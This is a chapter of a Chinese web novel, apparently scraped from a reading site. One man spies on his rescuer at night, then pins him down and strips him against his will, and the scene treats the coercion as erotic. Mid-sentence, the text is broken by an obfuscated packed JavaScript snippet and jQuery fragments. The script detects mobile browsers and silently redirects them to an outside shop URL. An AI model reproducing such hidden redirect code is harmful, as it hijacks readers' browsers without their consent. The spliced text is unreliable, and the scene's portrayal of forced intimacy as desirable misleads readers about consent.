默认冷灰
24号文字
方正启体

7. 7 坦诚一点

作者:姑苏赋本书字数:K更新时间:
    柳妩看着床单再度无奈了。


    床单上濡开的渍,甚至比昨日还大了一圈。


    究竟是怎么一回事呀?以前明明喝了药之后就能控制住的。


    虽然喝那个药,有时候会让他体寒肚子疼,但他都能忍的。


    这两天倒是没有体寒肚子疼了,但连那病也压不住了!


    是药出问题了吗?难道黄大夫遭人骗了,买错药材了吗?


    柳妩怎么都想不到会是身边的人出问题了,想到再坏,也只能猜测是不是黄大夫被人骗了。


    他满心想着,要赶紧起床,下午去问问黄大夫,一时间却起不来,在床上看着床单羞恼。


    柳妩兀自烦恼好久,下床时,感觉整个人都有些体虚了。


    人果然不能非常无度。


    他的脸和身体都泛了些粉红,在铜镜里看到这一幕的柳妩,感到非常的羞耻。


    柳妩快速将衣服穿好了,不愿直视自己的窘态。


    卧房的窗户又关上了,是自己昨夜一直没开吗?


    难怪觉得一整夜都好热。


    说不准不是药的问题,就是自己忘记开窗户的缘故呢。


    柳妩走到院子,萧勒正好从柴房出来。


    见到柳妩,萧勒径直走到他面前。


    柳妩今日脸色红扑扑的,身上的雌性气味浓郁得要将人填满。


    若不是这两夜亲眼所见,萧勒怎么都不会想到,一个白日瞧着这般清澈如无欲仙子的人,晚上尽显狐媚模样。


    “我的床单脏了,家里还有吗?”萧勒问柳妩。


    柳妩“咦”了声,不设防地便道:“怎么你的床单也脏了?”


    “也?”


    意识到自己说漏嘴了,柳妩一阵脸红,尴尬地笑道:“噢……我是说,这几日天热,夜晚睡觉容易流汗。但是家里的床单确实不多了。上回用你的银两去布庄买了几块布,还有剩,我给你织一条出来吧。”


    听到这话的萧勒,眸中闪过暗色,蓦地抓住柳妩的手,一瞬不瞬盯着柳妩的双眼。


    “你干嘛抓我啊?”柳妩吓了一跳。


    萧勒的手掌好大,握着他的手就跟握莲花枝一样,轻轻一拧说不准就能拧断了。


    萧勒自然不会拧断柳妩的手,但他力气也不是非常的小。


    他眸中藏着一团深深的火,要将柳妩灼了似的。


    一瞬间,萧勒仿若下流之徒,对眼前的人满是极致不入流的想法。


    “这是纺织女做的事,你又不是。”萧勒语气阴晴不定的,像在动气,又好像不是动气,可就是有股滚烫的意味。


    “我请不起纺织女啊。”柳妩既懵然又疑惑。


    柳妩不明白,萧勒干嘛突然好凶的样子?明明他们之间没有说到足以令他动怒的事情,只是寻常的说家常,萧勒突然就有这的反应。


    柳妩当然不知道,男人除了生气和凶以外,其他某些时候也会露出这般神色。


    因此,柳妩压根没意识到事态的危险性,只是腹诽:塞北男人怎么如此性情不定!


    萧勒见他无辜得楚楚可怜,压抑着的邪火实在是忍不住。


    他索性坦诚相待,压低嗓音问:“你昨天夜里,是在做什么?”


    柳妩呆了有一下子。回想起自己昨夜种种,无非寻常的生火烧饭,萧勒一道帮他的忙,然后他便是喝药就寝。有什么事情吗?


    不明不白好半晌,柳妩才记起后半夜的事情。


    猛地,他全身汗毛倒竖,头皮发麻。


    柳妩眼神躲闪着,心存侥幸,认为萧勒并没发现他的秘密,辨道:“我哪有做什么?不是早早睡了么。”


    萧勒一再逼近他,将他逼到了门板上:“是吗?那我这么说你会不会听明白?不止是昨天夜里,还有前天夜里,你都在……”


    柳妩大惊失色,嘴唇苍白地颤抖着:“你、你偷……你偷看我……!”


    卧房那扇窗子,是萧勒给他关上的?


    萧勒眉梢一挑:“嗯,我看了。”


    听到他承认,柳妩感觉脑子就像被人砸了一下,一时间天旋地转。


    萧勒居然……看到了他的秘密?


    脑子晕乎过片刻,柳妩整个人抖起来,气得双眼瞪大,青白嘴唇紧抿,脸上发红,急得眼泪在眼角打转。


    萧勒不依不饶地:“你明明是男子,你却生有……”


    啪地一声!


    柳妩抬手扇了一巴掌过去。


    萧勒的脸上感到轻微的烧热,却没什么痛感。


    柳妩自知使了好大的劲儿,缓了缓神,低声道:“……对不起,我不是有意的。”


    “放心,你打不疼我。”这不痛不痒的一巴掌没让萧勒放过他,“到底怎么回事?你为什么——这样?”


    “我不想说……”柳妩气得急得眼泪直掉,扁着嘴唇抽泣起来,“你怎么能这样!亏我还觉得、还觉得你好……你、你怎么能这样啊……”


    柳妩不会骂人,也不懂得该怎么生气,除了哭和反复喃着“你怎么能这样啊”就不知道该怎么办了。


    他这副遭人羞辱的模样,跟萧勒几日来做过的梦,一模一样。


    萧勒禁不住想,他为什么一定要碰梦里的柳妩?真正的柳妩,现在不就在他面前么。


    这般柔弱,任人揉捏。


    明明是他窥伺了他的私隐,他还是只敢这般娇弱地气上几句,打他一下,然后急急哭起来。根本反抗不得。


    萧勒极容易就能把他掐在掌心里。


    萧勒甚至不知自己怎么了,看到弱小不仅不心生怜悯,反而愈发有掌控和入侵的念头。刹那之间,善良的理性全失,如同化作了野兽。


    萧勒突然将他另一只手也抓住了,在柳妩震惊的时候,将他整个人都抵在门上。


    他低头凑近柳妩的唇,暧昧的气息在这张玉白的脸上游走:“柳妩,你根本不是纯正的男子。”


    “你干嘛呀……”柳妩犹如一只案板上的鱼,怎么跳都无济于事,也如被豹子扣住脖颈的兔子那样,命悬一线时唯有无能为力地绝望挣扎,“你……我救了你,你怎么可以这样对我……”


    “我早就说过了,不要随便捡陌生男子回家。”


    “我以为你是好人才捡你回来的……!”柳妩的声音抽抽噎噎的,听起来真的无助得着急。


    “我不记得我以前是不是坏人了,但现在看来,我一定不是好人。”


    萧勒将他两只手腕握在一只手里,往上抬起。


    柳妩的宽袖滑下来,雪白的手臂完整的露出来。


    柳妩的两只手被向后抬去


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261261|198034||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,颤得泪珠直掉:“你怎么可以这样对我,我救了你的命啊。”


    他好不解,难道这世上好心人真的没好报吗?


    萧勒腾出来的那只手摸着柳妩的脸,动作虽然很温柔,说的话却诛着柳妩的心:“柳妩,我从没说过我是好人。我的命不能被不明不白的人给救了,我想看个明白。”他的手往下,将柳妩的腰带结给抽了出来,“你让我看个明白,你究竟是什么样的人。”


    “我是男人!是男人啊!”柳妩见自己的衣襟快松散来了,急忙喊道。他就快要给眼前的人跪下了,要不是整个人被萧勒拎着的话,他可能真的好没出息的软身下去了,“你、你信我……我真的是男人……!”


    “我不看一下怎么知道?”


    “呜呜……在我们江南,只有互相亲爱之人才可以给对方看……”


    “就是说,我当你的亲爱之人,你可以给我看?”


    “白折,你说过你不喜欢男子,你喜欢的是女人……”


    “嗯,我是说过。”萧勒的嘴角勾起一个一点不善良的笑,“但是,塞北男子擅长撒谎,尤其是北丹男子。”


    “什么?!”柳妩仿佛被雷击中了一样,天都要塌了。


    偏偏他的衣裳很不听话,自觉地敞开了,中衣若隐若现。


    萧勒挑眉盯着他衣裳里的景致,只消抬手一剥,外面这层和里面那层,都要被剥开。


    柳妩见他视线火热,虽然身上的衣服还穿着,却觉得已经被暴露在炽热的太阳底下,烤得他里里外外都烤红了。


    “白折,白折……你给我一点时间我嘛……你给我一点时间做好准备,再给你看。”柳妩被逼得没了法子,只能一味求饶起来,“求求你啦。我给你立字据好不好?”


    他细长的眉毛一皱,两只眼睛水汪汪的,盛满了泪水,这模样看着确实是好可怜。


    明明是仙子,怎么会被人逼成这副模样?


    萧勒见了不仅不心软,反而热血更加沸腾,连他自己都觉得奇怪。


    野兽都是享受猎物求生的瞬间的。


    咚咚咚。


    不合时宜的敲门声。


    “柳官人,今朝市浪人多煞哉,勿早点去,位子就没哉。”门外是秋宝的声音。


    萧勒倒是想不到女子也会来敲柳妩的家门。


    “白折,你看,我得赶紧赚银子去……回来再说好不好?”柳妩继续央求着萧勒,神情是愈发地可怜兮兮了。


    咚咚咚。


    秋宝又敲一次门了:“柳官人,你在吗?”


    柳妩尽量让自己嗓音大起来,止着颤:“在呀,我在,我马上就过去啦。”


    秋宝便在门外说“好”,自己先到街上去了。


    萧勒大概是稍微冷静下来了。他的兽性随着被这敲门声打断,逐渐地消散了。


    跟着,他理智地思考到,若今日他非要看柳妩,柳妩迫于无奈叫他得逞,往后定是一次也不给他得逞。


    他脑子里居然有兵法的记忆。


    用兵讲究……待机而动,以利而动。


    彻底对他有利的时候,才好动手。


    冷静一番后,萧勒松开了柳妩的手。


    柳妩如获大赦,身体一软,差点就坐倒在地上。连忙是两手扶着门,才把自己扶稳住了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)